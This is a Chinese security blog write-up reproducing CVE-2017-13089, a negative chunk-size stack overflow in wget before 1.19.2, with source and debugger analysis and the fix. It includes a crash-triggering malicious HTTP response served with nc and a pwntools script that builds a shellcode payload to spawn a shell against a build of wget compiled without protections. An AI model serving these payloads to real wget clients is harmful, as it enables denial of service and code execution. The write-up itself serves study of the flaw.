PWN December 23, 2020

CVE-2017-13089—wget栈溢出

Words count 31k Reading time 28 mins. Read count 0

一、漏洞描述

wget 是一个从网络上自动下载文件的工具,支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议,在1.19.2的版本之前,被爆出一个严重的栈溢出漏洞,wget在处理重定向时,会调用http.c:skip_short_body()函数,解析器在解析时会使用strtol函数去读取每个块的长度,但是不检查块的长度是否为非负数,解析器试图通过MIN()函数跳过块的前512字节,最终传递参数到connect.c:fd_read()中。由于fd_read()仅会接受一个int参数,在攻击者试图放入一个负参数时,块长度的高32位被丢弃,使攻击者可以控制fd_read()中的长度参数,产生整数溢出造成栈溢出。

二、漏洞环境准备

1、虚拟机及其相关环境准备

ubuntu16.04

pwndbg下载安装

pwntools下载安装

2、安装库:

1
$ sudo apt-get install libneon27-gnutls-dev

3、下载源码并在ubuntu中解压

源码地址:

https://xzfile.aliyuncs.com/upload/affix/20200314110032-f83c2596-659f-1.zip

image-20201223150804911

4、源码编译

1
2
3
4
5
6
cd wget-1.19.1/
mkdir build/ & ./configure --prefix=$PWD/build/
make -j8
sudo make install
cd build/bin
ls

image-20201223151323663

现在准备工作都做好了,现在进行漏洞复现工作。

三、漏洞触发

该版本漏洞是由于 wget 组件在处理 401 状态码的数据响应包时,没有对读取的包做正负检查,导致的整数栈溢出。我们先触发一下这个漏洞

1、poc文件

1
2
3
4
5
6
7
8
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFF000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0

2、端口监听

1
nc -lp 12667 < poc

3、运行触发crash

1
./wget 127.0.0.1:12667

image-20201223155331334

可以看到确实是发生了栈溢出的错误,下面我们正式分析下触发漏洞的根本原因

四、静态分析漏洞成因

1、先过滤下含有skip_short_body函数的文件:

1
grep -rnl "skip_short_body" *

image-20201223160152555

2、分析下http.c的源码

跟踪状态码为401(未认证)的处理代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if (statcode == HTTP_STATUS_UNAUTHORIZED)
{
/* Authorization is required. */
uerr_t auth_err = RETROK;
bool retry;
/* Normally we are not interested in the response body.
But if we are writing a WARC file we are: we like to keep everyting. */
if (warc_enabled)
{
int _err;
type = resp_header_strdup (resp, "Content-Type");
_err = read_response_body (hs, sock, NULL, contlen, 0,
chunked_transfer_encoding,
u->url, warc_timestamp_str,
warc_request_uuid, warc_ip, type,
statcode, head);
xfree (type);

if (_err != RETRFINISHED || hs->res < 0)
{
CLOSE_INVALIDATE (sock);
retval = _err;
goto cleanup;
}
else
CLOSE_FINISH (sock);
}
else
{
/* Since WARC is disabled, we are not interested in the response body. */
if (keep_alive && !head_only
&& skip_short_body (sock, contlen, chunked_transfer_encoding))//调用函数
CLOSE_FINISH (sock);
else
CLOSE_INVALIDATE (sock);
}
.............

skip_short_body函数原理分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
static bool
skip_short_body (int fd, wgint contlen, bool chunked)
{
enum {
SKIP_SIZE = 512, /* size of the download buffer */
SKIP_THRESHOLD = 4096 /* the largest size we read */
};
wgint remaining_chunk_size = 0;
char dlbuf[SKIP_SIZE + 1];
dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */

/* If the body is too large, it makes more sense to simply close the
connection than to try to read the body. */
if (contlen > SKIP_THRESHOLD)
return false;

while (contlen > 0 || chunked)
{
int ret;
if (chunked)
{
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
char *endl;
if (line == NULL)
break;

remaining_chunk_size = strtol (line, &endl, 16);
xfree (line);

if (remaining_chunk_size == 0)//只判断是不是0,没有判断不能是负数
{
line = fd_read_line (fd);
xfree (line);
break;
}
}

contlen = MIN (remaining_chunk_size, SKIP_SIZE);//出问题
}

DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
if (ret <= 0)
{
/* Don't normally report the error since this is an
optimization that should be invisible to the user. */
DEBUGP (("] aborting (%s).\n",
ret < 0 ? fd_errstr (fd) : "EOF received"));
return false;
}
contlen -= ret;

if (chunked)
{
remaining_chunk_size -= ret;
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
if (line == NULL)
return false;
else
xfree (line);
}
}

/* Safe even if %.*s bogusly expects terminating \0 because
we've zero-terminated dlbuf above. */
DEBUGP (("%.*s", ret, dlbuf));
}

DEBUGP (("] done.\n"));
return true;
}

我们知道MIN函数肯定是返回小的那个数,一个负数和正数一比较自然返回负数,所以contlen = MIN (remaining_chunk_size, SKIP_SIZE);会返回负数,然后ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1),这里将响应体的内容复制到栈dlbuf中,长度即为 contlen 变量的值。int fd_read (int fd, char buf, *int** bufsize, double timeout),这里由于bufsize的是int类型的整数,当尝试放入8字节的数时,会进行切割得到后面的4字节,导致栈溢出,我么看下fd_read的函数处理:

1
2
3
4
5
6
7
8
9
10
11
12
int
fd_read (int fd, char *buf, int bufsize, double timeout)
{
struct transport_info *info;
LAZY_RETRIEVE_INFO (info);
if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
return -1;
if (info && info->imp->reader)
return info->imp->reader (fd, buf, bufsize, info->ctx);
else
return sock_read (fd, buf, bufsize);
}

发现是调用了里层的sock_read,继续分析sock_read:

1
2
3
4
5
6
7
8
9
static int
sock_read (int fd, char *buf, int bufsize)
{
int res;
do
res = read (fd, buf, bufsize);
while (res == -1 && errno == EINTR);
return res;
}

这里可以看到是调用了read函数,这里已经很明显的栈溢出了~

五、动态调试观察漏洞成因

先进行端口监听

1
nc -lp 12667 < poc

image-20201223162324057

gdb将程序挂载起来方便动态调试用:

image-20201223162258633

我们可以成功断点在skip_short_body处,因为程序没有去符号表

image-20201223162453397

image-20201223165324746

image-20201223180123633

看rax就可以知道把负数-0xfffff000进行了长整型的转换变成了0xffffffff00001000,然后通过寄存器操作:

image-20201223170127459

这里从rax到eax会进行截断,只取4位,所以得到的是0x1000,接着调用了fd_read,再调用socket_read函数,再调用read函数:

image-20201223170426440

image-20201223170502314

image-20201223170539112

可以看到这里就会触发相应的栈溢出操作,输入的size是0x1000,单步继续执行,发现会覆盖skip_short_body的ret地址,触发栈溢出保护:

image-20201223170912541

六、尝试进行漏洞利用

我们先看看程序的保护机制:

image-20201223171907661

发现是开了栈溢出保护的和堆栈不可执行的,目前的话,只能通过dos攻击去攻击服务器,造成系统瘫痪,并不能getshell,要实现getshell的话,需要在编译时关闭栈溢出保护机制,现在我们编译一个能进行栈溢出攻击的wget:

1
2
3
CC=gcc CFLAGS="-O0 -g -z execstack -no-pie -fno-stack-protector" ./configure
make
sudo make install

直接获取到开了pie的程序:

1
2
CC=gcc CFLAGS="-O0 -fpie -pie" ./configure
make

保护全关如下:

image-20201223175021361

这样可以通过栈溢出跳shellcode,先来看看栈溢出的话,我们的ret地址所在的位置:

image-20201223181003085

所以一共需要填充0x238个字符,但是因为read的时候是只读后面填充的内容,所以前面的head部分,是要再次加上的,再填充ret地址最终的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64', os='linux')
shellcode = asm(shellcraft.sh())
message = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFFD00
"""
py = ''
py += message
py += shellcode
py = py.ljust(0x230+len(message),"a")
py += 'BBBBBBBB'
py += p64(0x7fffffffcef0)
with open('poc',"wb+") as f:
f.write(py)

挂载并调试起来:

image-20201223184034246

发现成功栈溢出执行shellcode了,最后执行execve(“/bin/sh”)实现getshell:

image-20201223184326137

七、漏洞修补

修复补丁比较简单,就是对remaining_chunk_size是否为负值进行了判断,往后高版本都是修复了这个问题的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/src/http.c b/src/http.c
index 5536768..dc31823 100644
--- a/src/http.c
+++ b/src/http.c
@@ -973,6 +973,9 @@ skip_short_body (int fd, wgint contlen, bool chunked)
remaining_chunk_size = strtol (line, &endl, 16);
xfree (line);

+ if (remaining_chunk_size < 0)
+ return false;//这样就直接退出失败了,不会造成栈溢出
+
if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);

八、心得体会

这个wgets的漏洞利用复现其实是早期版本的,如果开了栈溢出保护,最多造成dos拒绝服务攻击,其他的暂时没有想到怎么利用,如果本身是没有开启相关的保护的话,则可以实现相应的漏洞利用操作,还是有挺大收获的,从报文的构造到最后的栈溢出,能学习到的东西不少。

九、参考文献

http://www.gandalf.site/2019/01/cve-2017-13089wget.html

0%